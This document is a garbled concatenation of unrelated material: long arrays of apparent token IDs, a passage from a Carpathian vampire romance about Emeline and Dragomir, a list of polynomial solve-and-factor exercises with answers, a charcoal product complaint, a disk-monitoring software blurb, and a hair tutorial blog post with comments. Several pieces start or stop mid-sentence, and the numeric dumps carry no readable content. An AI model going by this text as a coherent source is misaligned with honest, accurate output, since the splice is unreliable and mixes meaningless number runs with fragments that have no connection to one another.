8879, 285, 21438, 2183, 479, 352, 476, 320, 6685, 16592, 3333, 187, 187, 64, 55, 324, 303, 434, 27338, 574, 33913, 617, 2798, 15, 754, 369, 1469, 281, 5159, 617, 15, 309, 513, 417, 2096, 521, 2098, 323, 368, 390, 2139, 344, 651, 2983, 253, 1429, 344, 1691, 275, 368, 13, 533, 344, 588, 1056, 1529, 3177, 327, 617, 1495, 604, 359, 1053, 626, 513, 436, 3333, 187, 187, 2993, 29550, 13, 2820, 281, 5313, 2366, 816, 2139, 253, 6303, 35740, 651, 564, 281, 824, 1270, 16095, 281, 45286, 366, 617, 285, 840, 7617, 281, 24174, 253, 10438, 15, 795, 2773, 2506, 626, 1056, 3282, 387, 512, 3333, 1500, 17377, 562, 253, 3497, 285, 9047, 253, 5101, 12539, 1066, 2584, 253, 16892, 15, 795, 510, 5101, 310, 5068, 281, 873, 3333, 1500, 4571, 626, 1978, 15704, 432, 617, 2564, 285, 3260, 344, 3047, 352, 15, 733, 1904, 626, 2647, 15, 754, 651, 320, 627, 3517, 15, 187, 187, 64, 42, 1364, 3997, 285, 840, 309, 588, 320, 987, 627, 15, 308, 1792, 82, 310, 896, 15, 309, 588, 2525, 342, 779, 806, 15, 844, 1912, 626, 452, 1199, 673, 15, 309, 878, 634, 7578, 13, 4825, 4115, 13, 281, 3984, 327, 634, 11136, 285, 1056, 7089, 15, 309, 588, 2028, 368, 752, 253, 2098, 310, 347, 359, 1056, 352, 3333, 187, 187, 64, 42, 943, 2454, 779, 15, 4276, 862, 907, 323, 417, 7746, 779, 253, 5083, 285, 323, 9745, 253, 6680, 987, 715, 521, 8508, 3333, 187, 187, 64, 15745, 2151, 1339, 275, 10319, 594, 597, 812, 1132, 3333, 187, 187, 2993, 3330, 758, 387, 253, 1892, 13, 440, 41770, 272, 4318, 15, 754, 369, 11790, 15, 754, 1537, 417, 921, 352, 13, 533, 3676, 1066, 13, 344, 369, 15, 1500, 795, 38215, 64, 352, 275, 521, 2564, 15, 795, 43678, 297, 343, 3333, 187, 187, 64, 19735, 479, 247, 1643, 2909, 3333, 187, 187, 2993, 8231, 617, 1481, 715, 617, 1133, 285, 2335, 247, 3676, 6345, 13, 30685, 344, 369, 627, 342, 617, 1024, 15, 411, 3647, 703, 1663, 369, 521, 5243, 358, 366, 15, 1292, 703, 3260, 1805, 15, 5720, 2151, 751, 617, 1904, 626, 755, 253, 23535, 13, 15838, 528, 637, 13, 253, 7353, 581, 13, 253, 581, 665, 651, 1379, 327, 247, 6858, 2112, 342, 697, 3101, 15, 1621, 13, 597, 1694, 253, 32402, 13, 253, 19827, 15, 1244, 703, 1694, 253, 9065, 19827, 327, 6149, 15, 187, 187, 3, 1989, 417, 368, 13, 6858, 937, 703, 18017, 33454, 15, 346, 1394, 1472, 1469, 281, 320, 7636, 15, 15997, 13, 1077, 7636, 449, 187, 187, 43678, 297, 343, 1239, 617, 7906, 13, 984, 1024, 326, 344, 369, 275, 617, 2564, 13, 344, 4571, 626, 3240, 1339, 564, 15, 754, 3078, 281, 564, 281, 4825, 4115, 285, 17279, 459, 617, 13, 281, 1089, 247, 1039, 281, 1056, 617, 923, 326, 344, 369, 617, 5243, 358, 366, 13, 326, 344, 651, 1620, 3553, 617, 13, 533, 627, 369, 1512, 1652, 673, 15, 754, 17609, 432, 521, 21383, 1854, 342, 521, 5243, 358, 366, 281, 253, 625, 1846, 1854, 273, 253, 2639, 3967, 757, 952, 15, 795, 53, 1792, 82, 13, 309, 1364, 2525, 342, 368, 4745, 15, 309, 717, 16121, 323, 6249, 7697, 13, 533, 588, 1091, 275, 247, 1643, 2909, 3333, 187, 187, 64, 8380, 281, 253, 2419, 3333, 187, 187, 43678, 297, 343, 1669, 253, 8508, 15, 7889, 86, 13, 20496, 287, 285, 1244, 263, 6497, 275, 342, 779, 13, 3192, 281, 253, 8467, 347, 11260, 15, 1583, 574, 47214, 1142, 2069, 2366, 13, 1048, 1078, 597, 2455, 1160, 253, 3061, 281, 564, 715, 253, 36598, 15, 7160, 8630, 2335, 731, 247, 4181, 432, 835, 597, 21567, 15, 733, 369, 6446, 11273, 275, 731, 281, 20269, 1977, 432, 253, 5053, 597, 2549, 8006, 15, 187, 187, 30763, 1561, 253, 12621, 13, 44346, 297, 343, 39340, 562, 253, 8921, 12904, 15105, 272, 779, 15, 388, 4405, 15, 4825, 29882, 8513, 15, 754, 3260, 3520, 3075, 13, 533, 344, 574, 1620, 7407, 8991, 3075, 1919, 521, 5243, 358, 366, 574, 16789, 5471, 275, 779, 15, 380, 3075, 273, 25473, 3858, 285, 7636, 4394, 6337, 3676, 13, 11385, 275, 521, 7765, 344, 3260, 344, 812, 1620, 8706, 15, 17545, 732, 1230, 13, 581, 1537, 1333, 253, 1436, 344, 7636, 574, 4962, 672, 597, 1871, 1160, 253, 4327, 281, 1614, 35740, 13, 533, 326, 1904, 626, 3523, 253, 3075, 273, 1907, 281, 24174, 253, 40634, 24383, 273, 1110, 665, 574, 2378, 644, 3858, 15, 187, 187, 1552, 8513, 369, 1027, 15, 3032, 5243, 358, 366, 9284, 281, 2868, 703, 369, 521, 15, 4952, 846, 42068, 731, 2366, 1128, 395, 703, 3543, 253, 2538, 13, 703, 816, 1904, 626, 9446, 731, 1128, 6689, 5082, 626, 2868, 352, 15, 6049, 32, 754, 3531, 326, 689, 285, 689, 275, 521, 2564, 347, 253, 1740, 273, 731, 5947, 31836, 1840, 247, 896, 3971, 835, 1264, 1821, 14186, 275, 2136, 19519, 574, 24805, 616, 8458, 15, 21461, 597, 13308, 323, 3095, 2010, 15, 2726, 253, 7269, 4302, 273, 14693, 327, 894, 15169, 285, 16907, 11678, 13, 253, 2639, 3967, 2458, 574, 281, 13249, 616, 31233, 15, 380, 787, 5432, 574, 281, 320, 3809, 285, 19645, 13, 512, 7562, 616, 21794, 432, 970, 894, 15169, 13, 14693, 390, 667, 4302, 15, 1583, 3365, 1160, 2176, 5293, 273, 731, 812, 320, 2326, 432, 253, 3971, 13, 417, 253, 35041, 285, 417, 253, 21794, 15, 187, 187, 11831, 8231, 1066, 13, 7889, 86, 13, 1244, 263, 285, 44346, 297, 343, 13, 1223, 20496, 287, 4934, 3698, 1840, 13, 14596, 275, 253, 830, 273, 247, 12621, 15, 1583, 1016, 5055, 616, 21794, 13, 2144, 1025, 3212, 731, 285, 2335, 1453, 273, 616, 13846, 15, 44346, 297, 343, 29540, 521, 9970, 715, 253, 7623, 13, 3192, 275, 253, 1495, 14, 19647, 6514, 15, 754, 3260, 344, 3058, 625, 673, 11834, 253, 3216, 281, 4751, 20658, 13, 533, 326, 651, 452, 281, 1705, 1996, 15, 754, 369, 670, 281, 11377, 275, 253, 6680, 273, 521, 1495, 13, 285, 436, 673, 344, 574, 1633, 281, 7168, 15, 187, 187, 11223, 4115, 15, 3032, 3416, 15, 14136, 703, 644, 5686, 2639, 3967, 757 ]

_My friend Aleksei is lifemate to a woman who was begging another man to take her away with him. Now Aleksei and his lifemate are together and happy._ Emeline frowned. _Aleksei's lifemate was in love with another man? That seems... wrong. What were the circumstances?_ She was genuinely interested, but even more, she wanted to keep him talking. _I do not know much, only that the woman had not been born Carpathian as we all had believed and that the healer who aided me was the other man. He was human also at one time. He was subdued by the prince of the Carpathian people and Gregori, the prince's second-in-command. It took them both to keep him restrained._ _How sad for everyone._ There was silence for a moment. _I understand that you would have sympathy for this man, but I would not want you to develop feelings for him._ She frowned, tracing a pattern onto the hardwood floor with her finger. _I don't think you have anything to worry about. He makes me uneasy._ _What is it about him that makes you uncomfortable?_ She realized she was writing Dragomir's name on the floor over and over. _He looks at me as if he knows every secret I have or will ever have. I think he knows about the loaves of bread I stole from my aunt's store when I was eight._ _You stole bread?_ _I was starving. I tried to clean houses, but my aunt was kind of a jerk and she didn't really want me in her house. She said I could sweep the floor in the store and clean all the glass cases. Unfortunately, she didn't come to pay me or give me food, so I took two loaves of bread. Nothing has ever tasted so good._ There was a long silence again, so long Emeline could hear her heart beginning to beat too fast. He had to keep talking to her. She needed the sound of his voice to ground her. She traced the letters of his name on the floor three times before he spoke. _Why didn't your aunt come for you?_ She sagged a little with relief. _She drank a lot. By that I mean every single night, an entire large bottle of vodka. I don't think she remembered me._ _Is she still alive?_ There was a bite to his voice. A hint of menace that made her shiver. She moved back against the couch where he had sat the morning before. _No. She died fairly young. Her liver didn't hold up._ _How very fortunate for her._ This time there was no mistaking the threat. _What happened to you? Who took you in?_ She drew up her knees and circled them with her arms, hugging herself. _No one. I was a street kid like Danny, Amelia, Liv and Bella. Maybe that's why I had to save them. And the baby._ She put her hand over her stomach protectively. _I never had a home or brothers and sisters. Well, I had Blaze. She was always good to me. She let me climb in her bedroom window and sleep there whenever I wanted to. Her father let me stay and paid for classes and schooling. Even dance. He was a good man._ _I will be rising soon, Emeline,_ Dragomir said, _and then we will remove the remaining parasites from you and the baby. What we are going to do will seem scary. You must trust me implicitly. I know that is asking a lot when you barely know me, but I swear to you, I will keep you safe and do what is best for you and the baby._ She wanted one night without scary. One night to just breathe. She'd told the truth about being Vadim's lifemate and about carrying her child, and so far, no one had thrown her out of the compound. They knew the worst. Maybe they would ask her to leave, but she knew that Dragomir would go with her. She wouldn't go alone. _We have to do this tonight?_ But she knew they did. She was in bad shape. She couldn't eat or sleep. He would take one look at her and know. _Yes. Vadim will fight for you. We must get every single one of his tormenters out of you and the baby. It will take all of us to turn you without pain so the baby will survive._ _Turn me? Like Charlotte and Blaze._ She bit her lip hard. She knew she was well on her way. She probably was more vampire or Carpathian than human. _The baby, Dragomir. She's suffered enough. Blaze and Charlotte told me it can be extremely painful._ _Vadim's parasites had flooded her heart. He was going to kill her. I do not understand his plan for you or why he would attack the child he put in you, but he will make another attempt on her life if we don't do this._ She frowned, trying to piece together just why the master vampire would go to such great lengths to impregnate her and then decide to terminate the pregnancy. _That doesn't make sense at all._ She glanced out the window and watched the sun dip down toward the horizon. _The sun is beginning to set._ She couldn't keep happiness from her mind and knew he saw it. It didn't matter. He would be there soon. _I must feed and then I will be right there. Tariq is back. I will meet with him first. We won't have much time. I need your consent, Emeline, to speak on your behalf and make decisions. I will tell you what the plan is as we make it._ _I should face him. Apologize for not telling him the truth and for bringing the battle right into his compound._ _Those children let in evil so they could play._ She winced at the hard, unyielding voice. He was angry. He might not show it, but deep down, he was. She _felt_ it in his mind. _Dragomir._ _Give me a few minutes._ She dropped her head into her hand and took a deep breath, wishing he was there with her now. Wishing she really was his lifemate. But she knew better. Street children like her didn't get the gorgeous, courageous man, the sweet one, the one who would take on a baby along with its mother. No, they got the villain, the monster. And she got the worst monster on earth. "But not you, baby," she whispered aloud. "You're going to be loved. Very, very loved." Dragomir read her thoughts, because now that he was in her mind, he couldn't quite let go. He wanted to go to Emeline and reassure her, to find a way to make her see that he was her lifemate, that he would never leave her, but there was too little time. He switched from his intimate path with his lifemate to the more common path of the Carpathian people. _Tariq, I must meet with you immediately. I am hunting for sustenance, but will return in a few minutes._ _Come to the house._ Dragomir left the compound. Sandu, Ferro and Andor fell in with him, taking to the sky as birds. They had hunted many times together, long before they ever made the decision to go into the monastery. Their flight took them a distance from where they slept. It was ingrained in them to hunt away from the places they frequented. Deep within the bird, Dragomir puzzled out the strange emotion bothering him. Hurt. Emotional hurt. He knew physical pain, but he had never experienced emotional pain until his lifemate had restored feeling in him. The pain of destroying friends and loved ones ran deep, holes in his soul he knew he could never repair. Intellectually, one might say the person he loved had died when they'd made the choice to turn vampire, but that didn't stop the pain of having to terminate the corrupted shells of those who had once been friends. This hurt was different. His lifemate refused to believe she was his. Even after tying them together—and she felt the effects, she just didn't recognize them—she wouldn't believe it. Why? He turned that over and over in his mind as the four of them circled above a back road where three men dressed in business suits had parked their cars. Clearly they waited for someone else. With the advanced technology of cameras on cell phones and seemingly everywhere, the Carpathians had to coordinate their confrontation. The blitz had to be fast and simultaneous, all keeping their prey from using cell phones, cameras or any technology. They simply made certain none of them could be seen from the road, not the hunters and not the prey. Three dropped down, Sandu, Andor and Dragomir, while Ferro kept watch above, staying in the form of a bird. They each picked their prey, materialized behind them and took control of their minds. Dragomir sank his teeth into the neck, taking in the life-giving fluid. He knew he needed more time beneath the ground to fully heal, but that would have to come later. He was about to engage in the battle of his life, and this time he had something to lose. Emeline. His woman. Had she been born Carpathian

[ 20, 428, 42444, 11, 88, 424, 19, 559, 1638, 3680, 11, 88, 428, 854, 1540, 426, 470, 15, 187, 18, 13, 495, 13, 5693, 187, 7304, 428, 20, 11, 78, 424, 19, 428, 898, 1630, 11, 78, 426, 470, 323, 278, 15, 187, 14, 22000, 13, 470, 187, 17070, 1638, 11, 73, 424, 21, 428, 11084, 11, 73, 424, 20, 428, 12131, 11, 73, 424, 19, 559, 3387, 11, 73, 15, 187, 19, 11, 73, 5355, 73, 428, 884, 7672, 73, 559, 337, 7672, 24, 11, 73, 428, 374, 10, 187, 17070, 428, 1047, 11, 89, 424, 19, 16, 883, 428, 35145, 11, 89, 16, 883, 559, 33723, 16, 883, 15, 187, 14, 19, 5355, 89, 428, 337, 7672, 24, 11, 89, 559, 20995, 1933, 883, 187, 7304, 428, 21, 11, 80, 424, 21, 16, 26, 559, 3435, 1423, 11, 80, 424, 20, 16, 26, 559, 818, 3680, 11, 80, 424, 19, 559, 608, 34333, 11, 80, 16, 26, 559, 14821, 23, 16, 26, 426, 470, 15, 187, 14, 18, 13, 428, 18, 16, 19, 13, 721, 3245, 187, 7304, 3127, 11, 72, 424, 21, 559, 6879, 11, 72, 424, 20, 559, 8688, 11, 72, 424, 19, 559, 8988, 11, 72, 559, 1249, 426, 470, 323, 305, 15, 187, 14, 18, 13, 428, 21, 16, 24, 187, 17070, 608, 11, 78, 424, 21, 428, 36918, 11, 78, 424, 20, 559, 22750, 1671, 11, 78, 424, 19, 428, 2030, 1237, 2082, 11, 78, 15, 187, 22, 11, 78, 5355, 78, 428, 5345, 4846, 20, 187, 17070, 305, 424, 22, 16, 22, 559, 374, 11, 72, 424, 21, 16, 22, 559, 305, 424, 20, 16, 22, 15, 187, 72, 424, 20, 5355, 72, 559, 337, 4846, 19, 16, 22, 187, 17070, 495, 11, 71, 424, 19, 16, 25, 428, 3127, 11, 71, 16, 25, 559, 898, 16, 19, 15, 187, 20, 5355, 71, 428, 577, 7672, 71, 428, 495, 1933, 25, 187, 17070, 428, 19, 11, 75, 424, 22, 16, 1010, 428, 577, 11, 75, 424, 21, 16, 22, 428, 854, 11, 75, 424, 20, 16, 22, 428, 577, 11, 75, 424, 19, 16, 20, 428, 374, 11, 75, 16, 22, 15, 187, 14, 19, 11, 75, 5355, 75, 559, 337, 4846, 20, 5355, 75, 559, 495, 1933, 1010, 187, 1466, 428, 1036, 11, 80, 424, 20, 559, 11858, 3547, 11, 80, 424, 19, 559, 5571, 1867, 11, 80, 559, 854, 1438, 426, 470, 15, 1737, 310, 258, 32, 187, 14, 18, 16, 21, 13, 854, 1438, 187, 42709, 891, 13, 1677, 326, 428, 1010, 11, 74, 424, 22, 428, 5571, 11, 74, 424, 21, 559, 16176, 11, 74, 424, 20, 559, 337, 9913, 11, 74, 424, 19, 428, 3435, 1976, 11, 74, 428, 374, 9519, 426, 470, 15, 187, 14, 22, 13, 428, 19, 16, 20, 13, 495, 187, 17070, 428, 22, 11, 77, 424, 19, 428, 40873, 11, 77, 428, 49305, 15, 187, 14, 22, 5355, 77, 559, 374, 7672, 77, 559, 5325, 10, 187, 1466, 495, 11, 73, 424, 22, 559, 721, 11, 73, 424, 21, 428, 8988, 11, 73, 424, 20, 428, 9161, 11, 73, 424, 19, 559, 28485, 11, 73, 559, 37296, 426, 470, 15, 6762, 288, 15, 187, 14, 21, 13, 428, 19, 13, 495, 187, 7304, 428, 76, 424, 19, 16, 740, 428, 8319, 11, 76, 16, 740, 428, 608, 426, 470, 15, 187, 14, 1235, 13, 428, 18, 187, 7304, 374, 11, 77, 424, 19, 428, 26972, 11, 77, 426, 470, 15, 187, 17, 13, 12472, 187, 1276, 310, 247, 275, 495, 11, 66, 424, 20, 16, 24, 559, 17181, 11, 66, 424, 19, 16, 24, 559, 884, 2691, 11, 66, 16, 24, 559, 898, 1549, 16, 24, 426, 470, 32, 187, 14, 1237, 13, 428, 740, 13, 428, 18, 187, 17070, 428, 78, 424, 19, 16, 26, 559, 2233, 11, 78, 16, 26, 428, 46059, 16, 26, 15, 187, 8422, 78, 428, 2456, 4846, 19, 16, 26, 187, 1466, 428, 1976, 11, 86, 424, 19, 559, 884, 3208, 11, 86, 16, 24, 428, 1249, 16, 24, 426, 470, 15, 6762, 1484, 15, 187, 19, 16, 14840, 13, 374, 187, 1466, 428, 21, 11, 71, 424, 22, 16, 24, 428, 21807, 11, 71, 424, 21, 16, 24, 428, 1384, 11, 71, 424, 20, 559, 34678, 11, 71, 424, 19, 16, 24, 559, 18836, 11, 71, 16, 24, 428, 27639, 16, 24, 426, 470, 15, 6762, 269, 15, 187, 14, 1839, 13, 428, 19, 13, 428, 18, 13, 337, 187, 42709, 2805, 594, 326, 2805, 424, 20, 16, 21, 428, 608, 11, 82, 424, 19, 16, 21, 559, 374, 11, 82, 428, 337, 426, 470, 15, 187, 18, 13, 374, 187, 9867, 480, 824, 326, 480, 424, 20, 16, 740, 428, 1903, 11, 75, 424, 19, 16, 740, 428, 721, 11, 75, 16, 22, 426, 470, 15, 187, 14, 18, 13, 470, 13, 1249, 187, 17070, 428, 21, 11, 79, 424, 20, 559, 1249, 11, 79, 424, 19, 559, 9161, 11, 79, 559, 11633, 15, 187, 14, 21, 5355, 79, 428, 818, 7672, 79, 559, 374, 4846, 19, 187, 1466, 374, 11, 82, 424, 21, 428, 884, 11, 82, 424, 20, 428, 1283, 11, 82, 424, 19, 559, 23094, 11, 82, 428, 24521, 426, 470, 15, 6762, 2805, 15, 187, 14, 21, 13, 495, 187, 1466, 374, 11, 77, 424, 19, 16, 24, 428, 5910, 11, 77, 16, 24, 428, 10909, 16, 24, 426, 470, 15, 6762, 298, 15, 187, 14, 19, 13, 655, 187, 9867, 258, 13, 1677, 326, 428, 740, 11, 80, 424, 20, 16, 1012, 428, 38080, 11, 80, 424, 19, 16, 1012, 428, 31242, 11, 80, 16, 1012, 559, 5571, 16, 1012, 426, 470, 15, 187, 14, 1671, 13, 428, 18, 13, 8, 688, 3223, 14, 19258, 8, 619, 896, 2189, 2, 380, 15284, 326, 403, 6326, 281, 1708, 253, 43573, 4934, 1469, 562, 13, 594, 13, 767, 15284, 1996, 285, 1335, 581, 440, 14326, 48557, 82, 359, 3534, 598, 15, 3366, 16107, 5082, 626, 4489, 969, 347, 352, 369, 417, 11142, 285, 352, 816, 1904, 626, 513, 253, 2628, 15, 5077, 6971, 12752, 22162, 16370, 1372, 25382, 6057, 285, 11359, 368, 27340, 285, 11485, 8191, 670, 253, 1375, 285, 3045, 273, 634, 941, 5718, 3420, 13, 1014, 625, 685, 310, 2424, 323, 3988, 6378, 15, 380, 2086, 28028, 634, 1892, 14137, 457, 15942, 40628, 13, 34472, 5368, 390, 31771, 10309, 12834, 285, 3045, 13133, 285, 16897, 941, 2957, 15, 1229, 23264, 273, 4867, 382, 708, 23466, 10664, 712, 9250, 1108, 6258, 1283, 187, 187, 9395, 253, 1007, 273, 247, 33131, 3026, 419, 1426, 307, 407, 9176, 920, 285, 246, 25826, 634, 4707, 762, 15, 309, 457, 306, 671, 2879, 247, 6513, 1356, 1481, 4152, 281, 436, 3740, 15, 187, 187, 32841, 281, 3037, 849, 281, 513, 436, 419, 712, 2172, 32, 9423, 562, 619, 299, 3305, 1884, 23264, 273, 4867, 382, 708, 23466, 10664, 712, 9250, 2, 733, 4245, 368, 689, 6879, 7223, 273, 7000, 7997, 285, 849, 14, 936, 7968, 13, 12192, 13, 24866, 13, 5609, 285, 1161, 1832, 323, 247, 1027, 419, 712, 2172, 1046, 1388, 15, 187, 187, 1394, 476, 755, 634, 3491, 987, 1060, 407, 19009, 253, 6409, 2708, 15, 733, 588, 1379, 368, 949, 281, 247, 7895, 46104, 3601, 323, 368, 281, 18319, 6184, 634, 3491, 2, 187, 187, 1394, 1053, 457, 85, 878, 271, 299, 14, 28011, 390, 247, 43252, 281, 1239, 436, 1984, 15, 733, 588, 6184, 281, 634, 4382, 347, 247, 19415, 1873, 326, 368, 476, 3379, 562, 285, 1978, 24783, 390, 13, 273, 2282, 13, 368, 476, 5321, 352, 281, 634, 19801, 390, 4481, 594, 368, 476, 320, 247, 41438, 9916, 6484, 9825, 368, 564, 2, 187, 187, 2042, 368, 971, 281, 923, 690, 273, 253, 643, 14957, 12819, 275, 619, 299, 3305, 13, 1379, 247, 1007, 387, 690, 273, 253, 643, 1884, 23264, 273, 4867, 382, 708, 23466, 15, 187, 187, 11778, 368, 2326, 619, 643, 1884, 6258, 10664, 712, 2172, 26703, 32, 2732, 21006, 1884, 23264, 273, 4867, 382, 708, 23466, 13, 309, 2335, 598, 253, 23646, 2084, 1059, 969, 285, 6312, 1884, 23264, 273, 12963, 2352, 15, 11668, 247, 1007, 387, 690, 273, 253, 14957, 432, 253, 12963, 301, 26703, 1060, 15, 187, 187, 3404, 41438, 9916, 593, 359, 971, 368, 281, 2389, 634, 4707, 15, 1422, 8251, 352, 1046, 1388, 13, 594, 8251, 352, 973, 15, 187, 187, 8917, 368, 751, 436, 1501, 32, 187, 187, 2042, 594, 13, 861, 598, 323, 1959, 11269, 432, 41438, 9916, 593, 15, 187, 187, 42, 5007, 562, 747, 4707, 40727, 13, 12192, 285, 4707, 1033, 10153, 4951, 281, 634, 34272, 1046, 8330, 2, 187, 187, 3529, 310, 1663, 3965, 2, 891, 2389, 634, 5311, 13, 697, 29853, 479, 281, 513, 1633, 342, 619, 4707, 15, 891, 3798, 816, 22522, 352, 598, 275, 247, 36396, 34258, 323, 789, 15, 2221, 22658, 891, 871, 13, 533, 11638, 37731, 667, 1576, 309, 1849, 4425, 326, 15363, 309, 588, 1611, 581, 273, 634, 419, 712, 9250, 15, 5730, 479, 7516, 37731, 187, 187, 33, 44, 8432, 1108, 352, 943, 2186, 533, 368, 476, 1900, 1611, 247, 2505, 321, 2182, 1885, 313, 9154, 690, 6079, 439, 1301, 80, 375, 403, 1175, 10, 281, 1918, 634, 4707, 625, 17628, 15, 2064, 434, 2139, 309, 2223, 1333, 281, 513, 841, 14957, 275, 1273, 1388, 4707, 347, 368, 476, 897, 634, 4707, 434, 3626, 14542, 15, 42, 717, 1077, 13477, 670, 253, 3451, 5133, 273, 13947, 9617, 11865, 762, 187, 951, 72, 6481, 13, 591, 77, 13, 285, 29826, 15, 309, 2550, 3653, 253, 3451, 5133, 15, 6915, 253, 187, 951, 72, 6481, 3497, 13, 309, 24171, 281, 8593, 970, 187, 187, 2428, 1227, 951, 72, 27190, 16, 68, 16, 2377, 7341, 187, 187, 11888, 247, 29826, 8135, 281, 1408, 247, 591, 77, 1232, 762, 253, 8135, 285, 8136, 275, 247, 187, 26758, 13, 309, 1364, 897, 247, 8323, 14, 4826, 17776, 342, 475, 47352, 3579, 187, 3433, 13539, 187, 187, 2042, 368, 1472, 970, 330, 11550, 6481, 434, 33515, 13, 840, 368, 1053, 626, 878, 281, 7664, 670, 187, 27095, 14, 4826, 11865, 15, 1310, 368, 1364, 13, 323, 690, 1921, 13, 897, 253, 7464, 14, 23963, 187, 6052, 77, 13, 840, 2451, 562, 686, 1342, 2645, 72, 3967, 5983, 733, 588, 6016, 253, 1873, 1854, 187, 585, 36446, 323, 368, 594, 368, 476, 7356, 342, 35024, 10569, 11865, 672, 368, 1511, 15, 187, 187, 283, 187, 20678, 610, 187, 187, 16881, 16881, 1713, 64, 187, 187, 34, 27, 6279, 15, 187, 31, 1165, 27, 6272, 368, 2119, 32, 187, 5064, 329, 27, 4923, 352, 7661, 265, 253, 13760, 2685, 273, 7827, 15, 187, 17636, 1165, 27, 6049, 310, 1755, 16920, 24659, 275, 4579, 32, 50, 27, 187, 187, 17635, 281, 11700, 13331, 4022, 5816, 10175, 432, 3781, 187, 187, 42, 717, 747, 281, 2970, 13922, 715, 11700, 13331, 4022, 13, 309, 1869, 309, 574, 352, 1066, 13, 533, 309, 4366, 326, 309, 717, 5816, 690, 4278, 432, 253, 3781, 13, 2819, 387, 253, 2460, 13, 627, 403, 1740, 2953, 1383, 533, 309, 3047, 627, 403, 690, 625, 2953, 8, 5816, 323, 1650, 7634, 8111, 21775, 13, 285, 15520, 3230, 28613, 15, 1359, 476, 309, 1056, 2119, 326, 512, 253, 2953, 8, 10848, 32, 187, 3614, 1358, 74, 15, 9742, 15, 48370, 15, 681, 16, 254, 91, 13152, 15, 11368, 187, 33, 8456, 39151, 1116, 274, 9, 4090, 10, 187, 187, 33, 8456, 426, 427, 8, 92, 187, 50265, 3, 10927, 1381, 544, 187, 50263, 92, 187, 50261, 3, 13259, 1381, 551, 187, 50259, 3, 5374, 1381, 551, 187, 50257, 3, 8608, 64, 301, 1381, 346, 9104, 15, 7798, 15, 14602, 1540, 3953, 15, 2874, 995, 187, 50257, 3, 27055, 64, 881, 1381, 346, 2632, 9440, 428, 19757, 747, 31824, 995, 187, 50257, 3, 13259, 64, 881, 1381, 346, 4877, 995, 187, 50257, 3, 6275, 64, 25016, 64, 2754, 1381, 346, 7798, 14, 805, 14, 2941, 53, 883, 27, 1671, 27, 1348, 12, 883, 27, 361, 995, 187, 50257, 3, 10008, 1381, 346, 2632, 1435, 13, 10867, 486, 708, 9472, 23798, 322, 742, 13, 4281, 311, 539, 273, 1889, 9020, 2213, 1435, 708, 19128, 6235, 19249, 995, 187, 50257, 3, 7582, 414, 1381, 551, 187, 50255, 3, 709, 1381, 346, 2413, 1358, 25460, 5391, 27, 3507, 16, 12332, 43270, 16, 255, 3431, 16, 18, 15, 17 ]

3 - 702*w**2 + 1458*w - 864 = 0. 1, 3, 48 Solve -3*m**2 - 927*m = 0 for m. -309, 0 Factor 14*h**4 - 130*h**3 - 104*h**2 + 40*h. 2*h*(h - 10)*(h + 1)*(7*h - 2) Factor -14*x**2/11 - 282*x/11 + 296/11. -2*(x - 1)*(7*x + 148)/11 Solve -4*o**4/9 + 2722*o**3/9 + 758*o**2 + 5462*o/9 + 1366/9 = 0. -1, -1/2, 683 Solve 21*g**4 + 75*g**3 + 99*g**2 + 57*g + 12 = 0 for g. -1, -4/7 Factor 5*m**4 - 555*m**3 + 20535*m**2 - 253265*m. 5*m*(m - 37)**3 Factor g**5/5 + 2*g**4/5 + g**3/5. g**3*(g + 1)**2/5 Factor 3*f**2/8 - 21*f/8 + 9/2. 3*(f - 4)*(f - 3)/8 Factor -2*j**5/15 - 4*j**4/5 - 8*j**3/5 - 4*j**2/3 - 2*j/5. -2*j*(j + 1)**3*(j + 3)/15 Let -16*o**3 + 14072*o**2 + 7039*o + 880 = 0. What is o? -1/4, 880 Determine i, given that -15*i**5 - 70*i**4 + 350*i**3 + 1160*i**2 - 2775*i - 2250 = 0. -5, -2/3, 3 Factor -5*l**2 - 485*l - 950. -5*(l + 2)*(l + 95) Let 3*h**5 + 6*h**4 - 57*h**3 - 96*h**2 + 252*h + 432 = 0. Calculate h. -4, -2, 3 Solve -k**2/10 - 51*k/10 - 5 = 0. -50, -1 Solve 2*l**2 - 232*l = 0. 0, 116 What is a in 3*a**3/7 + 129*a**2/7 + 1086*a/7 + 960/7 = 0? -32, -10, -1 Factor -m**2/9 + 100*m/9 - 2500/9. -(m - 50)**2/9 Let -75*u**2 + 1056*u/7 - 12/7 = 0. Calculate u. 2/175, 2 Let -4*f**5/7 - 156*f**4/7 - 20*f**3 + 460*f**2/7 + 144*f/7 - 304/7 = 0. Calculate f. -38, -2, -1, 1 Determine q so that q**3/4 - 5*q**2/4 + 2*q - 1 = 0. 1, 2 Find j such that j**3/10 - 11*j**2/10 - 6*j/5 = 0. -1, 0, 12 Factor -4*n**3 + 12*n**2 + 96*n + 112. -4*(n - 7)*(n + 2)**2 Let 2*q**4 - 10*q**3 - 18*q**2 + 162*q - 216 = 0. Calculate q. -4, 3 Let 2*l**2/7 - 34*l/7 - 76/7 = 0. Calculate l. -2, 19 Find o, given that -10*o**3/13 - 358*o**2/13 - 278*o/13 + 70/13 = 0. -35, -1,'Instant-Light' my backside! The bags that are supposed to light the charcoal kept going out, so, two bags later and still one unlit bbq we gave up. Definitely wouldn't buy again as it was not cheap and it just didn't do the job.PCSUITE INSPECTOR PRO knows and keeps you reliably and constantly informed about the state and performance of your data storage media, even more than is required for security purposes. The program monitors your hard drives’ operational readiness, detects existing or imminent hardware defects and performance restrictions and prevents data loss.30 Days of Twist & Pin Hairstyles – Day 18 Create the look of a bobbed haircut by pinning and tucking your hair under. I’ve also added a braided headband to this style. Want to learn how to do this hairstyle? Check out my ebook 30 Days of Twist & Pin Hairstyles! It gives you over 75 pages of detailed instructions and how-to pictures, tips, tricks, techniques and cheats for a different hairstyle every day. You can get your copy right here by clicking the button below. It will take you through to a secure PayPal screen for you to instantly download your copy! You don’t need an e-reader or a Kindle to read this book. It will download to your computer as a PDF file that you can print out and keep handy or, of course, you can save it to your tablet or phone so you can be a Hair Romantic anywhere you go! If you want to see some of the other styles featured in my ebook, take a look at some of the other 30 Days of Twist & Pin. Have you seen my other 30 Day Hairstyle Challenge? After completing 30 Days of Twist & Pin, I took up the gauntlet again and completed 30 Days of Braids. Take a look at some of the styles from the Braid Challenge here. At Hair Romance we want you to love your hair. You wear it every day, so wear it well. Did you like this post? If so, sign up for free updates from Hair Romance. I send out new hair tutorials, tips and hairspiration straight to your inbox every Wednesday! that is really pretty! i love your blog, its inspiring me to do something with my hair. i usually just chuck it up in a messy bun for work. super lazy i know, but convenient:) anyways I've decided that everyday I will try one of your hairstyles. wish me luck:) @Kira – it should hold but you can always try a texturising product (even some dry shampoos are good) to give your hair more grip. That's why I often say to do these styles 